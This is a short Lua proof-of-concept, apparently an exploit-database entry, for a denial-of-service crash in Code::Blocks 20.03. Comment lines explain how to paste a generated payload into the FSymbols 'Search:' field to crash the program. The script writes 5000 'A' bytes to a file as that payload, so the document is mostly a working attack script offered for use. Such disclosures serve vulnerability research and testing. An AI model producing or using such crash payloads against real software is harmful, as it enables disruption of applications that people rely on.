-- Title : Code Blocks 20.03 - Denial Of Service (PoC)
-- Author : Rômulo, @uromulou
-- How to crash?
-- 1 => Run Lua code, down.lua...
-- 2 => Copy content to clipboard...
-- 3 => Open your Code Blocks...
-- 4 => In the "Management" section on left hand side, click on "FSymbols" tab...
-- 5 => Select "Active project's symbols" from drop down "View:" menu...
-- 6 => Paste clipboard into the "Search:" field...
-- 7 => Press ENTER...
-- 8 => Down?
-- Banner
print("Title : Code Blocks 20.03 - Denial Of Service (PoC)")
print("Author : Rômulo, @uromulou - 04/01/2021")
-- The code
file = io.open("crash.txt", "w")
local payload = string.rep("\x41", 5000)
file:write(payload)
file.close()